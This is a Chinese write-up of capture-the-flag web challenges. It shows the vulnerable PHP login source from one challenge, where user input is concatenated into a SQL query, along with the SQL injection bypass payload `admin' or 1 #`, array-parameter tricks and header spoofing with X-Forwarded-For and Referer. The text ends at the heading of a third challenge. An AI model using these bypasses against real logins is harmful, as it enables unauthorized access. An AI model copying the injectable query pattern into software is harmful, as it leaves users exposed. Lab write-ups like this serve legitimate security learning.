login 50

题目链接

http://47.100.121.220:28001

解答

一开始以为这个题是注入题,能从数据库中拿到flag,结果数据库里没有flag。结果群里的大佬说是简单的万能密码。

user=admin’ or 1 #&pass=1 绕过,得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include "config.php";
include "flag.php";

if( isset($_POST["user"]) && isset($_POST["pass"])) {
$user = $_POST["user"];
$pass = md5($_POST["pass"]);
$auth = false;

$conn = mysql_connect($db_host, $db_user, $db_pass) or die("Unable to connect!");
mysql_select_db($db_name) or die("Unable to select database!");

$sql = "select user_id from user where user='$user' and password='$pass'";
$query = mysql_query($sql);
if(!$query) {
mysql_close($conn);
die("login failed!");
}

$row = mysql_fetch_array($query, MYSQL_ASSOC);
if($row['user_id']) {
show_source(__FILE__);
if(isset($_GET['data'])){
$data = $_GET['data'];
if('php'===$data['a'] &&
'is'===$data['b'] &&
'nice'===$data['c'] &&
'!'===$data[3]) {
$auth=true;
}
}
}

mysql_close($conn);

if($auth) {
echo "login success!";
echo $flag;
}
else {
die("login failed!");
}
}
?>

以上代码的关键,还是在data变量数组传入。

1
2
3
4
5
6
7
8
if(isset($_GET['data'])){
$data = $_GET['data'];
if('php'===$data['a'] &&
'is'===$data['b'] &&
'nice'===$data['c'] &&
'!'===$data[3]) {
$auth=true;
}

以上是关键代码,本地做一个简单的测试,看是否能data[a]这样的形式传入参数

1
2
3
4
5
<?php
var_dump( $_POST["data"]);
echo '<br>';
print_r( $_POST["data"]);
?>

这里可以知道我们是可以这样传入参数的,因此构造payload得到flag

where are you from 100

题目链接

http://47.100.121.220:28002

基础知识

Referer

  • 包含一个URL,用户从该URL代表的页面出发访问当前请求的页面

X-Forwarded-For

  • 是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

解答

这个题目考察的就是HTTP头信息里中的以上两个头部。

在GET包里添加 X-Forwarded-For: 127.0.0.1

这里我们可以得到一个next.php页面,这个地方也要验证的。验证了X-Forwarded-For和Referer,我们把他们同时改为本地地址

日志审计 100